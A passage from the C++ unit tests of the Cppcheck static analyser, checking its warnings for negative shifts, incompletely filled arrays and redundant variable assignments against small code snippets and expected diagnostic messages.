\"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n 